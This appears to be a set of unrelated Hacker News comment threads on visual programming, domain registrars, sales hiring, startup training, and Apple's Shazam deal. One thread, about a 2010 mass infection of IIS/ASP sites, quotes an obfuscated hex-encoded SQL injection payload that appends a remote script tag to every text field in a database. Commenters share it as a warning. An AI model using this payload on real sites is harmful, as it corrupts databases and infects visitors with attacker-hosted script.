<comment><USER8> I would say I am pretty visual. I like to draw ER diagrams of database design so I can see whats going on. I usually have a visual representation of the tables in my head with positions when I am thinking of queries. The tables stay in the same position (probably based o the ER diagram I drew ages ago).

</comment></comment><comment><USER40> We currently have a decentralized mess of competing products. Many of them overlap and do similar things, but they all feed off of each other to improve. It is this competitive environment that improves the products and libraries we use. Anybody can identify a flaw in an existing system and build something to address it.

What this article proposes is a monolithic culture, where everything is centralized and controlled by a few entities. We tried this in the IBM/Microsoft days and it doesn't work. We end up with a single poorly documented tool that offers limited functionality.

The world of programming is more accessible today than ever before. If you are a novice, there are tools for you. If you are an expert, there are tools for you. If you are transitioning from novice to expert, there are tools for you!

</comment><comment><USER41> I left this comment at the blog:

Perhaps coding will look like minecraft, where you dig physical paths for the water, for the chickens, and hunt down bugs with bows and arrows. Modern tablets with no keyboards do minecraft just fine (my 8 year old and all his friends are completely addicted to minecraft). Also, they can join lan games, and work in the same virtual world. This may allow multiuser programming, no? Weird thoughts. They won't call it programming either, they'll call it something like flowcraft or some such.

<comment><USER42> I think this type of a concept is what the author is driving at. We shouldn't be manipulating blocks of words, we should be manipulating what those blocks of words create into making even bigger things.

</comment></comment><comment><USER43> Visual-based programming is definitely something that can help more people solve problems, but it gets complex to manage too (or so we've been told by blogs and others).

Perhaps something like visual-based programming would suit a different mindset altogether.

Truth be told though, programmers have managed to solve the website problem with all the new site-builders out there. They all seem to be "drag and drop", which should have been addressed long ago as a standard for at least the frontend.

<comment><USER44> The last (natively compiled) program I wrote to run on the Windows OS was done using an almost completely visual programming tool called ProGraph [1]. It worked well, and the small cards containing the code made sure you didn't put too much logic in one picture (much like the character limit Forth imposes on its page size). The system lives on as Marten [2], but only supports Mac OSX now.

While there are some things I like about visual programming, there are also many issues - perhaps the biggest is that it lulls the developer into believing they don't need to understand the underlying computer. I think a similar analogy is how a newbie RoR developer can create a CRUD application without ever looking at or understanding the scaffold-generated code.

I've thought about this a lot (in fact, years before I found ProGraph I tried to develop a system I called FloPro which was standard Fortran flow-charts on the front end and generated C (to compile on your local platform) on the backend), but I haven't seen a solution to these problems in any visual programming system.

[1] [http://en.wikipedia.org/wiki/Prograph](http://en.wikipedia.org/wiki/Prograph) [2] [http://www.andescotia.com/products/marten/](http://www.andescotia.com/products/marten/)

<comment><USER43> That's quite an interesting product you have there.

Were you only able to build it by writing code itself?

<comment><USER45> At the risk of some criticism, I would like to make some visual language comments. I am the author of a visual language programming environment called Marten which supports the Prograph visual language. I use this IDE everyday to write commercial-grade software for clients. Marten is in fact written in Prograph using Marten. I have created software in many other languages such as FORTRAN, RATFOR, C, C++, C#, Objective-C, Java, Perl, Python, along with i386 and PPC assembly, so I am very familiar with the difference between programming in a text-based language and visual programming. I found that visual programming is so superior to using text-based languages that I wrote my own IDE to ensure that I could continue to do so. Consequently, Marten stands as an example that not only is visual-programming not "vaporware", it can be an valuable and powerful addition to a developer's toolkit.

</comment></comment></comment></comment><comment><USER46> This blog post would have been way better without the ranting style of writing.

It doesn't even get to the point (that programming does not have to be text- based) until halfway into the article.

The title and the objection to other people learning to code are at most tangentially related to that point. Just because there could be better ways to give instructions to machine doesn't mean other people should wait to learn how to instruct machines until those methods are developed.

</comment><comment><USER47> For anyone interested in the prospect of visual programming for web development, please join our newsletter at crudzilla.com ... we are coming out with an update that will attempt to fit a wordpress-like plugin system into an IDE. We think that'll be a good start for a more visually oriented development environment.

</comment><comment><USER48> You only can learn how to program, if you have learned how to code. So learn how to code :)

<comment><USER8> Learn to code, but don't stop there. Aspire to write good quality stuff.

</comment></comment><comment><USER49> Focusing on solving a problem instead of the tool is what motivates me to try new frameworks and actually code.

I agree that the focus has shifted way too much on spec. technologies unfortunately.

</comment><comment><USER50> Again with this visual programming bullshit

</comment><comment><USER51> Eye opening at certain points, dragged on at others. Either way I'm more excited to code. I mean, program. :)

</comment><comment><USER52> I'm neither a coder or a programmer, I'm a _code-monkey_ and proud of it.

</comment><comment><USER53> Don't learn how to paint, learn how to create art. How is one without the other?

<comment><USER54> "The current state of painting sucks. You have to figure out which colour mixes with which colour to become what. You have to learn how to hold the brush and what different brushes do. you have to learn different strokes. It shouldn't be like that at all, you shouldn't have to LEARN all those arcane things at all. People have been doing it for CENTURIES and they are unwilling to change due to some perverse pride in all of this. What should be, is that you think of a pretty picture and tada! It appears on Canvas. Without you going through the process of actually making it"

That's is the Author's viewpoint.

<comment><USER55> Nobody seems to be giving the author the benefit of the doubt - so I'll play devils advocate against your analogy.

"The current state of painting as a way to capture images sucks. It takes years of practice, and even then the likeness created is only ok unless you're a true master. There's this area of research around lenses and films that professional painters seem to scoff at - but I really think we could be doing profoundly better if we can get it working."

<comment><USER54> Hahah funny thing is I had these thoughts as i typed my last reply.

Btw it's rather interesting how the same cycle begins in photography where old school photographers scoff at post-capture editing via photoshop and say that it takes away from the beauty of the art. So maybe even if we get visual programming, maybe things won't change...

But still, I gotta ask, how can you learn programming without learning HOW to program? The HOW is where code comes in. Yes, we'd all love the magic of making the computer do as you wish with a point of a finger. But until then, why not enjoy the process of taking a problem, thinking of a solution and figuring out how to explain that to the computer?

</comment></comment></comment></comment><comment><USER56> is it just me or is this guy completely wrong. In my opinion languages aren't that confusing or unwieldy, the hard part about programming is the logic, not the languages.

</comment><comment><USER57> Is it satire?

<comment><USER58> It has that feel, doesn't it?

</comment></comment><comment><USER42> It seems that folks here are reacting to the angst of the author as well as the literal meaning of the language used to make his point instead of contemplating what the author is trying to actually say.

Otherwise, why get hung up on definitions of "coding" vs "programming" or concepts such as "text" vs "visual"?

I think this post is an expression of the frustration that we have all reached at some point (if not many points) along the way while using any language or solution or architecture: this sucks and there's got to be a better way to get shit done!

How many times have you been working on project "foo", ran into a problem and employed solution "bar" (or better yet, created solution "baz" on your own) in order to solve your problem...only to find yourself derailed into a swamp of limitations with "bar" (that everyone forgot to mention in that awesome blog post you found)? Or, how many times have you lied to yourself and said "I'll improve upon the limitations of 'baz' in the v2 release" of your home grown masterpiece only to never return because you're actual goal is to finish the "foo" project?

The problem might be the tools or the user or the application or even the philosophy...or it might be a combination of that list plus some I haven't mentioned. Perhaps these problems have already been solved and the lessons have been lost? Or, perhaps more analysis is needed to come up with a new way around this issue entirely? I certainly don't have the answer right now but this article made me take a step backward to survey the landscape (or the wake?) of the most recent 10 years of "disruptive" (read, self-serving) technology and I feel an undeniable sense of dissatisfaction with it all.

Maybe that desire for something better just means I'm a programmer and not a coder? I don't know but I won't avert my eyes from the problem no matter how obvious it is to everyone simply criticizing the article. Awareness is the first step to understanding the problem you are trying to solve and I see people recoiling from that. Denial is a sign that a belief (or end of thought) is overruling the critical thinking process and to me that's acceptance of the status quo (not just dangerous but stupid too).

I did get a good chuckle at the metaphor provided by xerophtye's comment "you think of a pretty picture and tada! It appears on canvas!" The truth is always funny so perhaps this comment encompasses the entire article but I think it oversimplifies what the article attempts to drive toward. Sure, comprehension of the building blocks (or, the colors) allows you to build bigger and better buildings (or paintings), but, if that were truly the case, why aren't things improving? Wouldn't all of the so called experts chiming in have already built bigger and better buildings? And if so, what are they? NoSQL? Twitter Bootstrap? Ember or AngularJS? Bitcoins? Animated CSS? All I see are copies of the original idea done "my way" which is "better".

Amateurs borrow, professionals steal. And that is the process improvement methodology I see employed today.

If everyone thinks they know their craft so well, inside and out (and, for safety, let's say I don't), how might you take that knowledge (and a step back) and change/improve upon how things are accomplished today?

I think that's the core of this article.

To put it another way, if the acquired knowledge to accomplish tasks via "programming" is only useful and self-serving within the realm of the library/language being used, how is that moving the entire ball forward?

I think the solution implied here is that a re-examination of history and more experimentation with different architectures or applications of the existing building blocks might get us over this hump we're facing.

</comment><comment><USER59> Why 10 years? Given that we've known what a mess the software development world is for 50 years and nothing has improved, what makes you think anything will be better 10 years from now?

<comment><USER60> Might be a reference to the famous Norvig essay: "Teach Yourself Programming in Ten Years"?

<comment> john-kurkowski No, I'm not that clever. It seemed like a reasonable time to check back in and see if the revolution happened.

</comment></comment></comment><comment><USER61> Anytime anyone tries to spin any of the following - coding, programming, software engineering, software development - as distinct things, and expects me to acknowledge their special definitions that they probably made up, I kind of lose interest.</comment>


Simple Domain Name Registrar Anyone? - <AUTHOR>

Does anyone know of a good domain name registrar for just domain name management, I'm currently at godaddy but I'm sick of the interface and all the crap they try and heap on you. Thanks in advance! <comment><USER2> Maybe you could try joker.com</comment>


Mass infection of IIS/ASP sites - intljobs.org, wsj.com and many others affected - <AUTHOR> http://blog.sucuri.net/2010/06/mass-infection-of-iisasp-sites-robint-us.html

<comment><USER2> found on the web:

We got hit through some old classic asp pages two days ago.

The attack looks like it appends the following to query parameters:

;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324637373737324537323646363236393645373432453735373332463735324536413733334533433246373336333732363937303734334520615320764172436841722835312929207768657265205B272B40632B275D206E6F74206C696B6520272725726F62696E742527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXEc(@s)--

It appends the script to all text fields in the database. I don't think it has anything special to do with IIS/ASP.

</comment><comment><AUTHOR> A google search finds more than 1,000,000 pages infected:

[http://www.google.com/#hl=en&source=hp&q=http%3A%2F%...](http://www.google.com/#hl=en&source=hp&q=http%3A%2F%2Fww.robint.us%2Fu.js&btnG=Google+Search&aq=f&aqi=&aql=&oq=&gs_rfai=&fp=8de5ecd1cb5092c9)</comment>


Meet the Brick - <AUTHOR> http://meetthebrick.com/

<comment><USER2> It's not April fools anymore... right?

Some old technologies just do not deserve to be romanticized. LPs, maybe. Brick phones, no.</comment>


What to offer my first salesperson? - <AUTHOR> I'm a single-founder startup producing specialized risk software for financial institutions. The company is based outside the US but that's where a large part of the potential market lies, so I'm looking at engaging with a US-based sales-person whom I already know and has in-depth knowledge of the market (and a lot of contacts). The software solves a major industry problem at a fraction of the cost and business risk of existing solutions. Question: What's an appropriate package to offer the salesperson? I'm willing to consider part-time working, a salary/vested equity mix, percentage of royalties, and so on. Most potential clients are on the east or west coasts, so there'd be a fair amount of travel costs to factor in as well. <comment><USER3> You should have a very high expectation of sales results from them, and you should give them a guaranteed commmitment that you will measure their results, and you should follow through on that commitment. Salespeople are notorious for giving excuses when they don't meet the sales targets they agreed to.

Fire them if they haven't got results within a reasonable timeframe which you both agreed to.

Offer nothing you can't back out of (like equity) until they have been on board 12 months at least and proven themseves invaluable.

There are lots of salespeople out there who can sell themselves to prospective employers better than they can sell your product.

You must learn how to be a good manager of salespeople rather than trying to "find a good salesperson" who will magically start bringing in the sales for you.

Probably you should do it yourself - you need to know first hand how hard it is to sell your own product, and you know how to succeed selling your product. Only with that knowledge can you effectively manage someone else to do the same job.

<comment><USER4> Agree about many salespeople being good at selling themselves to prospective employers. My experience is that there's more of those than genuinely good ones. My trick is to offer very low retainer and high commissions. The best ones will go for it. Anyone who wants a high retainer might be better at making up excuses for lost sales.

I'm seeing two other problems.

1\. You say that you are not in the US and you are hiring salespeople in the US. Have you looked at the company trading and legal issues?

2\. Selling to big organizations can take a long time. There is more to selling your product than solving a big problem cheaply. There's politics, turf issues, vested interests, incumbent suppliers, etc. Lots of people who can nuke your sale but few that can push it through.

Since you are not on the ground have you considered seeking out a distributor / established co as joint venture partner? They might be better resourced to do what you require especially with regards to managing territories. Constantly flying coast to coast is not only expensive, but draining and unproductive.

<comment><USER5> Haha - you are so right on several accounts:

1\. Any good sales rep should be able to sell self, their best product.

2\. When I went for jobs I was mainly interested in commission. However if the sale took long that is not good enough. You can have the commission stagger - matching the sales pipeline stages. This meaning - they get x for number of potentials in that have been qualified, y percentage for that have been demod, z for starting eval, p for finished eval, q for proposal, w for closed, and t for getting referrals. You get the idea.

Selling to big orgs is painful and time consuming. However if you can find something that they already are buying, partner with those folks since their sales reps are already in.

Always look for a personal stake when selling. The best way someone described it is like buying like you would do for yourself except it is someone else's money so even less diligence is needed. You have to work on literature to answer all the thoughts in their head that makes this a near risk free proposition. This means answering concerns from the CFO and how it compares with existing solution, and how to incorporate it so they get the full benefit.

I hate distributors in general. They do very little to make sales. Instead go with a value added reseller. They have the feet on the street. Plus if you treat the valued added resellers are you sales rep clones, they will sell and sell. Go for a reseller that is number 3 or 2 in the industry. They have something to prove. Then train the sales staff yourself. This means real practicing and providing excellent marketing collateral and support for questions. The marketing collateral does always ned to be fancy - <USER2> they will not be fired for not using your product. Most places have inertia and they have more to lose than gain by switching to you no matter how much they save the company or make the company. Always find out how the switch will personally impact them - now they have real motivation.

PS in terms of English, I liked "Niches to Riches" book about benefits pieces. it is more B2C but remember folks are folks. It helped me tremendously. She is PR consultant.

Another sales book recommendation if you in a established market: The Wedge: How to Stop Selling and Start Winning It talks how one goes about replacing the existing competition that already has the business.

I worked in both greenfield and established markets - they both have unique challenges. If you want to talk more let me know, email@example.com. I am in the middle of product coding so...

<comment><USER4> Great collection of info. I especially liked your bit about "looking for a personal stake ... someone else's money so even less diligence". That's how Apple sold so many IIe's with VisiCalc.

</comment></comment></comment></comment><comment><AUTHOR> This all looks like superb advice - again, thanks!

\- I will order 'Selling to Big Companies' tonight.

\- Will make sure we all have a clear idea of the sales pipeline, targets

\- Yes I have looked at the legal and trading issues - am being advised by a 'Big 4' firm who know the pitfalls

\- Point about time to sell to large organisations is well taken. In fact part of the appeal of the system is that it gets round many of these problems.

\- Am currently in discussion with some much larger established companies re licencing and distribution (one in London, one in Boston). They both love the product but are moving very slowly. I want to have a separate distribution channel as it's not clear at present which is going to succeed. However, having a distributor would certainly be easier than flying Australia-US each time a sales prospect needs me there!

\- I really like the idea of low retainer/high commission. The business model is to charge a recurring subscription, so paying a high commission based on the first year's revenue won't impact so much on future cash flow.

\- No equity on the table until they have proved themselves! At present I own 100% of the company (bootstrapped), but would consider giving someone with complementary skills in sales a portion of this if they had proved they could boost the company's value.

</comment><comment><USER6> I've been trying to do what you are doing just a month ago. I actually flew over to US to meet with potential candidates. Some of them needed base salary, some were willing to work on % basis. I would advise finding guys that really know what your business is about. If your startup rocks, sales people will start knocking your doors.

</comment><comment><USER7> A carrot and a stick :|

</comment><comment><USER5> Having been a hi-tech quota exceeding :-) sales rep for a number years, here is what I advise:

1\. Hire two reps: one for each coast. Even two part-time reps at each coast I say is better than one rep running around from coast to coast. Time wasting and regionally differences do crop up.

2\. Read the the book, Selling to Big Companies.

3\. Yes sell yourself so you understand the issues involved.

4\. "Salespeople are notorious for giving excuses when they don't meet the sales targets they agreed to."

This is usually when the owner does not understand the market or misestimates the market. Any good sales person will leave and stop wasting time with people that will not work with them to make sales happen. It takes a company to sell. Especially if you want the easy and lucrative referrals.

What is the price point for this product? Who at the customer site will ultimately say yes?

At one company, it was easy to sell since the network engineer was the main guy/gal that had to approve the technical aspects. I just made sure they understood the personal utility of our product as well so they had a personal stake on how their life would with us or a competitor's product.

read the book, it is totally awesome. Having done the job for a number of years, I still learned lots of usually things that I was able to use immediately.

In terms of what to offer, I guess it really depends. Realize in the beginning you are really doing business development not just sales. So there needs to be more of a salary cushion. A low end salesperson is usually 40/40. 40k salary and 40k commission. Realize that the you are hiring a profession and not asking them to necessarily do charity work. However, together estimate the metrics of sales and the where the number of sales at each level in the sales pipeline. Also come up with remediation plans. Say in 2 months, you expect the rep will have made 5 sales. What happens if they have only made 2 sales. Have everything spelled out so everyone knows the ramifications and there are fewer surprises.

<comment><USER8> How do you feel about handing over all the in-progress sales to the account rep, so he can get some easy wins? I'm in a market with a 2 year sales cycle (there are shortcuts to make it 3-6 months), and there are leads/pilots in various stages. Do you get reduced commission for those, or none, or full?

<comment><USER5> I am not sure who you are asking, but I will respond.

There is no such thing as an easy wins. Most companies do not realize a customer is not a sale. A customer is a customer that renews, tells others (referral aka word of mouth), or comes back as repeat business.

P&G has 4 moments of truth: First that the customer knows about you, second customer buys you, third customers accepts that you did what you claimed, and fourth customer tells others or buys again.

The more customers that are using your product the more sales you will get; kinda like network effect. They each can talk to each other about their experience and how it improved their lives/company. Since more people are using it, it is easier to get internal buy-in and sales on new accounts.

I agree with the person that said sales are hard initially. You have no brand awareness. Make it easy for your rep to sell. Sales is hard. Ask any CEO who has done it. I would pay the person for the numbers in each of the stages in the sales pipeline since that is how sales are made: step by step. vary the commission rates. Like the other person, focus on the process and then conversion rates for each stage.

My questions to you: How much profit will you make on 0 sales? What are you waiting for? Either close the business yourself or let a professional who has vested interest do it. In the beginning it is not about profit but market share and building brand equity.</comment></comment></comment>


Why startups should train their people - <AUTHOR> http://bhorowitz.com/2010/05/14/why-startups-should-train-their-people/

<comment><USER2> I agree with all the points raised in the article, but I couldn't help thinking that the level of investment suggested is a no-brainer for most technical types. Of course you should invest in your personnel! This is a missed opportunity for every firm that works on a "pump and dump" model.</comment>


Apple's purchase of Shazam is now under investigation by the EU – The Verge - <AUTHOR> https://www.theverge.com/2018/4/23/17270788/apple-shazam-acquisition-eu <comment><USER2> It doesn't seem like there is a valid complaint other than 'I don't like it'. Shazam is not a monopoly (SoundHound is a solid competitor) and neither is Apple or Apple Music.

<comment><USER3> And even if they were a monopoly, what is the market? There aren't that many people trying to figure out what song is playing in a public place.

If we are going to define a market this narrowly, then is it considered a monopoly if only one company offers self lacing shoes? Gotta break up that self lacing shoe cabal.

<comment><USER2> Systems like Shazams are used to keep track of airplay so they are pretty important and there's also the huge market opportunity for recognizing what people are watching or listening to (even if most people would consider that pretty creepy).

They aren't the only game in town though.</comment></comment></comment>